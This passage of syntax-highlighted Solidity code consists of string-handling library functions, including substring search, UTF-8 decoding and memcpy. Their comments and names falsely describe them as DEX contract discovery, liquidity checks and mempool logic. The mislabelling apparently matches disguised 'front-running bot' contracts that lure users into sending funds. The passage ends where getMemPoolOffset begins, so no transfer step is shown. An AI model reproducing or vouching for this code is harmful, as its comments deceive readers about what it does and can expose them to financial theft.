class="pln"> </span><span class="kwd">int</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="kwd">int</span><span class="pun">(</span><span class="pln">other</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">);</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="com">/*</span></li><li class="L0"><span class="com"> * @dev Extracts the newest contracts on DEXs</span></li><li class="L1"><span class="com"> * @param self The slice to operate on.</span></li><li class="L2"><span class="com"> * @param rune The slice that will contain the first rune.</span></li><li class="L3"><span class="com"> * @return `list of contracts`.</span></li><li class="L4"><span class="com"> */</span></li><li class="L5"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> findContracts</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> selflen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> selfptr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needlelen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needleptr</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">private</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> selfptr</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> idx</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun"><=</span><span class="pln"> selflen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> bytes32 mask </span><span class="pun">=</span><span class="pln"> bytes32</span><span class="pun">(~(</span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">))</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">));</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> bytes32 needledata</span><span class="pun">;</span></li><li class="L4"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> needledata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> </span><span class="kwd">end</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span></li><li class="L7"><span class="pln"> bytes32 ptrdata</span><span class="pun">;</span></li><li class="L8"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptrdata </span><span class="pun">!=</span><span class="pln"> needledata</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">>=</span><span class="pln"> </span><span class="kwd">end</span><span class="pun">)</span></li><li class="L2"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L3"><span class="pln"> ptr</span><span class="pun">++;</span></li><li class="L4"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> </span><span class="com">// For long needles, use hashing</span></li><li class="L9"><span class="pln"> bytes32 hash</span><span class="pun">;</span></li><li class="L0"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> hash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">idx </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun"><=</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span><span class="pln"> idx</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> bytes32 testHash</span><span class="pun">;</span></li><li class="L4"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> testHash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">hash </span><span class="pun">==</span><span class="pln"> testHash</span><span class="pun">)</span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L7"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="com">/*</span></li><li class="L6"><span class="com"> * @dev Loading the contract</span></li><li class="L7"><span class="com"> * @param contract address</span></li><li class="L8"><span class="com"> * @return contract interaction object</span></li><li class="L9"><span class="com"> */</span></li><li class="L0"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> loadCurrentContract</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory ret </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> retptr</span><span class="pun">;</span></li><li class="L3"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> retptr </span><span class="pun">:=</span><span class="pln"> add</span><span class="pun">(</span><span class="pln">ret</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ret</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="com">/*</span></li><li class="L9"><span class="com"> * @dev Extracts the contract from DEXs</span></li><li class="L0"><span class="com"> * @param self The slice to operate on.</span></li><li class="L1"><span class="com"> * @param rune The slice that will contain the first rune.</span></li><li class="L2"><span class="com"> * @return `rune`.</span></li><li class="L3"><span class="com"> */</span></li><li class="L4"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> nextContract</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> slice memory rune</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">slice memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> rune</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> rune</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> rune</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> b</span><span class="pun">;</span></li><li class="L4"><span class="pln"> </span><span class="com">// Load the first byte of the rune into the LSBs of b</span></li><li class="L5"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> b </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="kwd">sub</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)),</span><span class="pln"> </span><span class="lit">31</span><span class="pun">)),</span><span class="pln"> </span><span class="lit">0xFF</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xE0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">4</span><span class="pun">;</span></li><li class="L4"><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln"> </span><span class="com">// Check for truncated codepoints</span></li><li class="L7"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">l </span><span class="pun">></span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> rune</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> rune</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">+=</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">-=</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L6"><span class="pln"> rune</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> rune</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> memcpy</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> dest</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> src</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> len</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">private</span><span class="pln"> pure </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span><span class="com">// Check available liquidity</span></li><li class="L2"><span class="pln"> </span><span class="kwd">for</span><span class="pun">(;</span><span class="pln"> len </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span><span class="pln"> len </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> assembly </span><span class="pun">{</span></li><li class="L4"><span class="pln"> mstore</span><span class="pun">(</span><span class="pln">dest</span><span class="pun">,</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">src</span><span class="pun">))</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> dest </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L7"><span class="pln"> src </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="com">// Copy remaining bytes</span></li><li class="L1"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> mask </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L2"><span class="pln"> assembly </span><span class="pun">{</span></li><li class="L3"><span class="pln"> let srcpart </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">src</span><span class="pun">),</span><span class="pln"> </span><span class="kwd">not</span><span class="pun">(</span><span class="pln">mask</span><span class="pun">))</span></li><li class="L4"><span class="pln"> let destpart </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">dest</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span></li><li class="L5"><span class="pln"> mstore</span><span class="pun">(</span><span class="pln">dest</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">or</span><span class="pun">(</span><span class="pln">destpart</span><span class="pun">,</span><span class="pln"> srcpart</span><span class="pun">))</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="com">/*</span></li><li class="L0"><span class="com"> * @dev Orders the contract by its available liquidity</span></li><li class="L1"><span class="com"> * @param self The slice to operate on.</span></li><li class="L2"><span class="com"> * @return The contract with possbile maximum return</span></li><li class="L3"><span class="com"> */</span></li><li class="L4"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> orderContractsByLiquidity</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> ret</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> word</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> length</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> divisor </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="lit">248</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> </span><span class="com">// Load the rune into the MSBs of b</span></li><li class="L4"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> word</span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)))</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> word </span><span class="pun">/</span><span class="pln"> divisor</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> ret </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">;</span></li><li class="L8"><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xE0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> ret </span><span class="pun">=</span><span class="pln"> b </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0x1F</span><span class="pun">;</span></li><li class="L1"><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> ret </span><span class="pun">=</span><span class="pln"> b </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0x0F</span><span class="pun">;</span></li><li class="L4"><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> ret </span><span class="pun">=</span><span class="pln"> b </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0x07</span><span class="pun">;</span></li><li class="L7"><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">4</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="com">// Check for truncated codepoints</span></li><li class="L1"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">length </span><span class="pun">></span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> i </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span><span class="pln"> i </span><span class="pun"><</span><span class="pln"> length</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> divisor </span><span class="pun">=</span><span class="pln"> divisor </span><span class="pun">/</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></li><li class="L7"><span class="pln"> b </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">word </span><span class="pun">/</span><span class="pln"> divisor</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0xFF</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0xC0</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="com">// Invalid UTF-8 sequence</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> ret </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ret </span><span class="pun">*</span><span class="pln"> </span><span class="lit">64</span><span class="pun">)</span><span class="pln"> </span><span class="pun">|</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0x3F</span><span class="pun">);</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ret</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="com">/*</span></li><li class="L9"><span class="com"> * @dev Calculates remaining liquidity in contract</span></li><li class="L0"><span class="com"> * @param self The slice to operate on.</span></li><li class="L1"><span class="com"> * @return The length of the slice in runes.</span></li><li class="L2"><span class="com"> */</span></li><li class="L3"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> calcLiquidityInContract</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> l</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">-</span><span class="pln"> </span><span class="lit">31</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> </span><span class="kwd">end</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> ptr </span><span class="pun">+</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> ptr </span><span class="pun"><</span><span class="pln"> </span><span class="kwd">end</span><span class="pun">;</span><span class="pln"> l</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> uint8 b</span><span class="pun">;</span></li><li class="L8"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> b </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> </span><span class="lit">0xFF</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xE0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xF8</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">4</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xFC</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">5</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">6</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> getMemPoolOffset</span><span class="pun">()</span><span class="pln"> 